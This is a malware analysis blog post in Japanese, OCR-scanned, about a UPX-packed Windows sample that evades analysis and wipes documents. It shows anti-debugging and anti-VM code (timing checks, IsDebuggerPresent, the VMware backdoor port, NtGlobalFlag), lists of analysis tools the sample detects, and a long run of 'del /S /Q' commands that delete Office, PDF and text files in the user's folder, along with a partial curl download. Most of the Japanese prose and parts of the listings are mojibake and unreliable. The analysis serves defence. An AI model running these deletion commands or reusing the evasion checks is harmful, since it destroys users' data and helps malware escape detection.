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ENTET7 7AIVEBTIL TOWE EFTAH. ZDOZILT T (FUPXT/NY F o o3NTWET,

He: [(ZRIMTAI IR/ RRSTEDET] o n =
EntryPont: (0009280 | [oo] <| EPSecton: [ex1 | | |
3 Fle Offset : [00001CCD mm@ o Plug
T s — [Wncorade | e &
Flesae: [oooseagoh | </ | Overlay: ™ [no 00000000 | Q) S
Image is 32bit executable ' b =
[Son. 4411 [UPK exe - NRV2E? compression (26it) ASL son] | [scan /¢ Rip
Lamer Info - Help Hint - Unpack info
[Sign. 3509 : [UPX -> wwvw.upx. sourceforge.net] | & 2 ==

R5 UPXT/\yx o Jant-ET7 71
TNy I T 74 UL Visual C++TRIR X NF-EXETH D Z EAHH ) £9.

: [

Eie : |[[(ERIITAYLLHBMBIEI A -MEHRECBEY] oy -
&WMWEEijEJﬁNMMJE-I- = [
y Fieoffet: Plug
& Linker Info : 14,29 PE 3
FleSize:  [poOEDO0O0R Q &
Irage is 32bit executable T -
[Sign. 3570 : [VC8 -> Mirasoft Corporation] | [scan /t j
Lamer inffo - Help Hint - Uinpack info i I——I i
[Sign. 2267 ; Microsoft Visual C++ 8] | 3 & >>

K6 UPX&T/NvFLIULERIT771MIL

ZOVLT T TERITEND EUTOHBR LY . BEAMITIRE TSN TURLD, 72
FEEHWT SN TUOR WA EHERT 22T F T/ THEEL S ) £7.

1. GetTickCount(Z £ % O — N OUURLHBRHENDF = v 7 FEERHILEAE I HY)
2. GetTickCount|Z & % 31— FOAURLZBEHOF v 7 FEERHEUAAE ) HY)
3. IsDebuggerPresent s iU N - fi##fTF = v &

4. CheckRemoteDebuggerPresent & Fi\U - fi#dfTF = v &

5. VMware)/\'y 7 K PI/OR— b & AW RAEIRIEF v 7

6. PEBOONtGlobalFlags FH\UNf- T/ I F v o

7. Window? 5 R % FIWN = 2 MO —ILORENF = v &

8. 7OERAZIZL ZZHOMBITY —ILDEENF v 0

9. N5 A /I \DIFLEMER A AL N -ProcessMonitorDFCENF = vy &

LIZBHBF = ENDT o F 73y THEEA S, ITIZRUEDRIN AL L TW&E $9,

£¥. GetTickCount|Z & % 3 — FOMFZBRMNF £ v 7 TTH, REDHHMARE (a2 T5) L
t=1&. 16MRRY) —T75FH, tOEZORHEPEE I 2)NRMAREL. ak pORFEINOESFTEL
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9., ¢ L TCTHDOTEAERNISMERBOBUEIZ > TW=GEIE. 2 RRY IR EDT > FFIN
W IRRTRY) —T4GMBEHDITHNTWBEFIM L., WL 738 TLET,

e ————— —— P ——

Stext:@B4@8158A 108 push eb
Stext: 98421588 10C push esi
Lhect: @340158C 1E@ push edi

Jtewt:@8481580 154 mov edi, ds:GetTickCountésd

JEexti@d4B)15C3 1E4 add edi, 2 ; Add

Chext 0401506 154 call edi ; Indirect Call Near Procedure
Jtext:@84815C8 154 mov ebx, ds:5leep

Jbext:@B4815CE 1E4 mowv esi, eax

Ltext:@B401500 1E4 push 16080 ; dwMilliseconds

Lhewt:@B8401505 188 call ebx ; Sleep ; Indirect Call Hear Procedure
Jtewt:@8481507 1E4 call edi i I 11

SCadure
Stext: 98481509 1E4 sub eax, esi
Ctext 9401508 1E4 sbb edx, @ th
Jtewt:@848150E 1E4 test edx, edx ;3 L
Jbext:DB4G1S5ES 1E4 ja shart 1n-.‘._4&15F3 T 8 & ZF
§ I 1
short loc_4815E8 ; Jusp if Below (CF=1)

]

R®l7 GetTickCount|= 31— FOUIBZBEMOF v 2
PATR (3 15Rb5 M & 75 > TW DA A HERT 2 HUBER AT,

if ( ((_int6a ()(veid))((char *)8GetTickCounts4 + 2))() - (unsigned _ int64){unsigned int)vd < 15000 )
exit{@);

R8 15HREHEIDEF TV IT HUE

# 1% . IsDebuggerPresent#s & {)'CheckRemoteDebuggerPresenta FIL\TEEAMEHT I N TULSEIHE I H
HFxvoLET.

F-Z K. ASHRINICAUENER LW e BT L TW B EHITLBES AT L ET.
gOto LABEL_bY;
if ( !IsDebuggerPresent()
& ((  dinted (*)(void))Iv3)() - (unsigned  int64){unsigned int)ve <= 4586
8% sub_401368() != 112 )

CurrentProcess = GetCurrentProcess();
CheckRemoteDebuggerPresent(CurrentProcess, &pbDebuggerPresent);
if ( !pbDebuggerPresent )

{

]9 IsDebuggerPresent$s & {CheckRemoteDebuggerPresent|Z & 35F = ¥

F1z. AT Dds4 (0x5658 = “VX™) & LN TVMware)/ Ny 7 K PVOR— b A F v 09 % Z & TRAE
BRIE T EF v LET.
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! lchar Func_CheckVMwareBackdoorPort()
s lg

I _indmrd(ﬂxsbssu);

3 return 1;

(¥

K10 VMware)/ N\ 7 K PI/OR— p &F v o4 B

*¢ L C. PEBONtGlobalFlagE WHEAF v 7§58 TTF/N\y 7RhaERL 9. 7077 LN
TNy T ENT UL BI5E(INtGlobalFlagEH0x70(112)( 27 B 1=DFDEIZH > TWBHNE I D EF T
v L TWET,

1 [unsigned int Func_CheckMNtGlobalFlag()

return NtCurrentTeb()->ProcessEnvironmentBlock->NtGlobalFlag;

ol |

K11 NtGlobalFlag % PEBA 5 ENi5 4 2 JLiE

8& ((__intea (*)(void))v3)() - (unsig
88 Func_CheckNtGlobalFlag() != 11p )

{

12 NtGlobalFlagD{EH0x70(112)H ¢ 5 HaF = v 7§ HIE

X 5(Z. GetClassNameA ¥ EnumWindows & U2 WindowsAPIA (S L . LA FDOXFEF A & ¢ WindowZ 5
2EF TV ITBHIETYILY T THRITY —ILHAKREIL TWWE WA E ) A ERERL £97.

e "PROCMON_WINDOW_CLASS"
e "OllyDbg"

e "TIdaWindow"

e "WinDbgFrameClass"
e "FilemonClass"

o "ID"

e "RegmonClass"

e "PROCEXPL"

e "TCPViewClass"

e "SmartSniff"

e "Autoruns"

e "CNetmonMainFrame"
e "TFormFileAlyzer2"

e "ProcessHacker"

ZOWindow?Z 7 2 & FAWTHRET 2FAIIERAI B HD 0D, — BT OEREE5RAWTF Ty
I3 DHIEL) BEEL DS WMERD-OMERNTHDEEZFT.
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—

.text:8e48169D0 1E4 push eax ; lParam

Jtext:@e48169E 1E8 push offset Func_EnumClassName ; lpEnumFunc

Jtext: 88481643 1EC call ds:EnumiWindows ; Indirect Call Mear Procedure
Ltext: 20481649 1E4 test eax, eax ; Logical Compare

Jtext: 8401648 1E4 jnz loc_481948 ;5 Jump if Mot Zero (ZF=B)

Lﬁ

13 EnumWindows(Z & 371 > K0 5 RF1EE

PAF(Z. Window?Z 5 X % GetClassName|Z & V) {15 L bR 9~ 2 0S¢ 70 0) £97,

STEXTINWHILLLS SSL PUsn ecx 7 ApLiassname
Ctext:o@4912d4 258 push eax ; hkind

Ctext:e@aa1225 454 mav [ebp+5tringl], offset aProcmonWindewC ; “PROCMON_ WINDOW_CLASS
Stext:B@a8122F 454 mav [ebpt+var_438], offset adllydbg ; "0llyDbg™

Jtext:B@aal239 454 mav [ebptvar 434], offset aTidewlndow ; “TIdaWindow"
Jtext:@@AA1243 454 mov [ebptvar_438], offset aWindbgframecla ; “WinDbgFrameCllass®
Jtext 00481240 454 mov [ebp+var_42C], offset aFilemonclass ; "FilemonClass”

LEext Q401257 454 mov [ebp+var_428], offset ald ; "ID"

Stext:O@4dl26l 454 mov [ebptvar_414], offset aRegmonclass ; "RegmonClass”
Ctext:o@481268 454 mov [ebpt+var_428], offset aProcexpl ; "PROCEXPL"

Ctext:9@481275 454 mov [ebpi+var_41C], offset aTcpviewclass ; "TCPViewClass™
Stext:@@aal27F 454 mav [ebptvar_418], offset aSmartsniff ;| “SmartSalff”

Jtext :B@4A1289 454 mav [abp+var_a14], offzet afuteruns ; “Auteruns”

JEext 0Raal1293 454 mav Eebp—l—uar_d-lﬂ]_, offzet aCnetmonmainfra ; ~C Frama"

L text:9e481290 454 mov [ebp+var_48C], offset aTformfilealyze ; °7 zer2”
Stext0@4A812AT 454 mov [ebptvar_488], offset aProcesshacker ; "Pr

ctext: 09401281 254 call ds:GetClassNames ; Indirect

Stexti@@q8l287 S48 test AN, EAN ; Le

Ltext:@@asl289 448 jz short loc_4812ED ; 3

11

—
=

text:@@481288 2495 mov edi, ds:_stricmp

Ctewt r BART T 448 wor pud. sxi : laeiral Ferlusive Ot

K14 GetClassNameATLLE G 21> KU T R4

FDE, IV T TR —ILTHDIUTOT7OREHAREML TWeLWWAaEF Ty I LET. Zh
SN A b ERD & EERHBAEEDSWTILY T THATY —ILD) A F > THY) . BT
NITWEHIZTLTWBZ A £7.

¢ Wireshark.exe

e apateDNS.exe

e Autoruns.exe

¢ bindiff.exe

¢ idag.exe

¢ idag64.exe

e Procmon.exe

¢ x64dbg.exe

¢ x32dbg.exe

¢ ollydbg.exe

¢ ImmunityDebugger.exe
e VBoxTray.exe

e VBoxService.exe

¢ msedge.exe
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e VirtualBox.exe
e javaw.exe

e x96dbg.exe

e idaw.exe

e windbg.exe

e dnSpy.exe

e HxD.exe

e Scylla_x64.exe
e Scylla_x86.exe
e Tegmon.exe

e procexp.exe

e procexpb4.exe
e Tcpview.exe

e smsniff.exe

o FakeNet.exe

e netmon.exe

e PEiD.exe

e LordPE.exe

e PE-bear.exe

e PPEE.exe

e die.exe

e diel.exe

e pexplorer.exe
e depends.exe

e ResourceHacker.exe
e FileAlyzer2.exe
» processhacker.exe

e Regshot-x64-Unicode.exe

AT e 70w 2 F v 7 IZBY 2 EBOETY,
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SRRt DRSQLRER 179 push edi
LERXT I BRSQLBEC 174 push 124h 3 Size
Lentr@BSa1aF1 178 lea ea, [esp+l7ahdpe.cntUsage] ; Load Effective Address
Jtentrd9Sa1aFS 178 mov [esp+itahtpe.dwbize], 128h
Jrext @SA1FD 17E push a i Val
JEent | SRLBFF 170 push ean i waid *
EextiBR4R1108 120 call memiet i Call Precedure
Eext:B848118% 158 add e5p, ach : Add
tewtiBadplles 174 push a ; thi2ProcessID
Jrext 28481184 178 push F ; dwflags
Jeext EaliaC 1T call di:CreateToolhelpd2Snapshot ; Indirect Call Hear Procedure
LERNTIBRER1112 174 lea ek, [espilTohepe] ; Load Effective Address
LEeNt @SSRl 174 mov [esp+l7ah+hSnapshat], eax
Stewt:@aaplllA 174 push (1=
Stext B0S81118 178 mov ecK, ds:iProcessi2firse
Jext i d0ed1121 1TE puzh L1
Jrent BBl 17O add ecx, 2 i Add
JEent: 9481125 17C call eox : Procedure
L Eext:D0401127 174 cmp ean, 1 ;
Jtewtr@salids 174 jnz loc_a811ca !
|

=

RNt RRHR1130 174 mov edl, ds:_stricep

i
JbextoSddall s
Jtext: Sig1136 loc_481136:
L bextiBRBL136 174 mov esi, offset unk_403268
bant:BBLR11IE 174 nop dword ptr [eacesaxsdPh] ; Mo Operation

'
text: ANl 140
i PR N A Vs A A

E15 7OoexXF v 5175 3R

#D1E. LT Process Monitor(ZBH T 27 /N1 R 7 PAIVDFEEF TV 2§ DT, waxBERTHE
WMRIB TR WO AR T 252 8AH ) £9°.

¢ \\\.\\Global\\ProcmonDebugLogger

Ty

)

.text:884816B1 1E4 push Bax ; hTemplateFile
Lfext:e9481662 1E8 push geh ; dwFlagsAndAttributes
Ltext 98481687 1EC push 3 ; dwCreationDisposition

fext: 08481669 1F@ push eax ; lpSecurityAttributes

Jtext:@84016BA 1F4 push 7 ; dwsharetMode

Jtext :984816BC 1FS push 2ee00000h ; dwDesiredfccess

Jtext:984816C1 1FC push offset Filename ; "\\\.‘\\Global\\ProcmonDebuglLogger”
Jtext:084816C6 288 call ds:CreateFileA ; Indirect Call Mear Procedure

Ltext :@84816CC 1E4 cmp eax, @FFFFFFFFh ;
.text:0@40816CF 154 jnz loc_481999 ;

Compare Two Operands
; Jump if Not Zero (ZF=8)

&]16 Process Monitor|ZB8d 2T /N1 XA 7 P IVDOFEEF TV 7
NB—EDT o F TN ITF TV I a2 THEIDEUNTOAAA ARIZERLET.
A A DR

ZORIVIITDXA e BBEREI—Y D7 7(IVERIFT 52 THY . <2—HF =77
K> TS T 7AILEHEOIHEDETHONET7 71 ILEHIRL 9.
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EDOBIZHIRN R & 70 5 AR AR RO FAEL. 2THOAY FEATERD) 9. Zh
LAERDENERT 71HBIBHERE LTECAEATWDZ AN £7.

e "del /S /Q *.doc c:¥¥users¥¥%username%¥¥ > nul"
e "del /S /Q *.docm c:¥¥users¥¥%username%¥¥ > nul"
o "del /S /Q *.docx c:¥¥users¥¥%username%¥¥ > nul"
o "del /S /Q *.dot c:¥¥users¥¥%username%¥¥ > nul"

e "del /S /Q *.dotm c:¥¥users¥¥%username%¥¥ > nul"
e "del /S /Q *.dotx c:¥¥users¥¥%username%¥¥ > nul"
e "del /S /Q *.pdf c:¥¥users¥¥%username%¥¥ > nul"

o "del /S /Q *.csv c:¥¥users¥¥%username%¥¥ > nul"

o "del /S /Q *.xls c:¥¥users¥¥%username%¥¥ > nul"

e "del /S /Q *.xlsx c:¥¥users¥¥%username%¥¥ > nul"
e "del /S /Q *.xIsm c:¥¥users¥¥%username%¥¥ > nul"
e "del /S /Q *.ppt c:¥¥users¥¥%username%¥¥ > nul"

e "del /S /Q *.pptx c:¥¥users¥¥%username%¥¥ > nul"
e "del /S /Q *.pptm c:¥¥users¥¥%username%¥¥ > nul"
e "del /S /Q *.jtdc c:¥¥users¥¥%username%¥¥ > nul"
e "del /S /Q *.jttc c:¥¥users¥¥%username%¥¥ > nul"

e "del /S /Q *.jtd c:¥¥users¥¥%username%¥¥ > nul"

e "del /S /Q *.jtt c:¥¥users¥¥%username%¥¥ > nul"

o "del /S /Q *.txt c:¥¥users¥¥%username%¥¥ > nul"

e "del /S /Q *.exe c:¥¥users¥¥%username%¥¥ > nul"

e "del /S /Q *.log c:¥¥users¥¥%username%¥¥ > nul"

Hilf&(Esystema <> FEBAWTATOL S IZiIThn 9.

J

i [ ] = G,

sub 491919{ 1sxn , (char)Arglist);

if ( system(ARgList) },-"f 'del /S /Q *.doc c:\\users\\Xusername¥\\ > nul"
+HV AL

afara +ima 41— AG.

17 WordXLE7 71 L& HIET 2 IR

KU BHFBE LT, AL 7 IEATOL H ICEBERTEREIN D —KEIOXE 7 71 ILHBIFRXT
RIZEINTWBZ NS, HEDBRBETORITEAEEL TWS I EAMRNEINET.

922 #D22

q 0019FDAD ["del /s /qQ *.jtdc c:\\users\\%username®\\ > nul"
_0019FD40| 0040322C | "%s\n

= mnd armd A DA ornan | "da fe fim & drde FreaAVaicareV AV Facarmaama®i o w ol ™

18 —KBBXE 7 71 L5 Hksd 208
P, 7 7 MILOEIBEREEARTATOO VY FXFEIIHAE@EIZKRENET.
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QOL9FFO0 | 2E 63 6F GD|2F 76 69 64 |65 6F 36 34 |30 38 30 34 .com/videoS40804
ODL9FF10| 34 33 2F 5F |20 3E 20 GE |75 6C 00 75|00 20 38 00/ 43/_ > nul.u. 8.

0

K20 curl3 7> F LR
Eiccurlaw > NFIRIBIC & V) 32[E] £ - (6414 )R L £9,

mAm7®ﬁ4h«®}7tz%%T%$éﬁoa7 AIVERIET 5 & W) —EONUEA S | €69
L1-i8MF A PADARBELR T 7B RIZL ) BRREICRELIZA 2T bDOEHIZRENTLH &
THEXHEMRZ 7.

REICATOOAT N2 ) emdexeAFRA L TEBSGABIRLATLET.
(BITIRIETH D EFMT SN I5EEH ZOWIRIZBH L 7))

Page 10 of 12



https://www.mbsd.jp/research/20210721 /blog/

- - o 5B, s K | 2 H
si2(H, o B, 0, B, BulBROMR, 0, @, Alpil, Rlpel);

fepett_fasgechetifs
| SRR

w

= - s
Fi = =R R AT L P'": L RAE "1
=n 1 =w 3000 » mul & cel A eV wsersabouser beskuoo rest sod 1 ed_TRER]WE0E L DIRE P T MR, e ] E ‘:{ R d.ni!- ng |
3eid] COGEO4G

{ n b

b | H‘.l.l' ‘ﬁ‘!“ﬁlkm‘t“ﬂ‘l-l' #; 5181 'H'l

3 T ra TS LB Cus er ek oD
0na T

Saiscas end. g -!l.'pr‘qjl.ll.-r'.hs:\lﬂlﬂ'\-ln.l[ ¥ —e—

CO1PFEAS T i3 Fen g ma .ﬂ. -'ﬂik" o =T VT SRS O U, e
W-IW-H!- llﬂ-‘““h‘ LT R ﬁ‘k‘ LRI L e ﬁ? !;# 5
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IOV TETA A AARINTWDEZ e, A=Y —T7 4 ILXE FTOAHAEHFEE R THZ 8
o, BHEEERATF-LOI—F—DFICL > TREIUZERNHDEEZONET.
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XBEIFRE LT, 7075 LD % 7R ¢ Time Date Stamp|2021-07-20 05:52:05(UTC) Tdh V) .
VirusTotal~Dt 7 3 v 3 2-(£2021-07-20 06:02:18(UTC) THhH 5 Z & HWERI N TV F 3, Time Date
Stamp($fAIKT 2 Z L AFRETH HT-OM ST TE AN, INHDRRINAERT 5L HIEZDT
W T T IERENTE 75 109 FE TVirusTotal (2 7y 7O — R 3 Nt-mJeEMEA®H ) 15 £ 7.
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AN =R -

SHA-256 : tb80dab592c5b2aldcaaf69981c6d4ee7dbf6c1f25247e2ab648d4d0dc115a97

Source: https://www.mbsd.jp/research/20210721/blog/
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